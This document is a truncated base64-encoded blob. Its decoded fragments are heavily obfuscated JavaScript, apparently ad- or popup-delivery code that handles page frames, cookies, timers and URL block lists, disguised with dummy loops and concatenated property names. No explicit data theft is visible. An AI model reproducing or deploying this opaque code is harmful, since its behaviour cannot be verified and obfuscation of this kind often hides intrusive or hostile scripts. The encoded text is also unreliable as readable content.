hK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ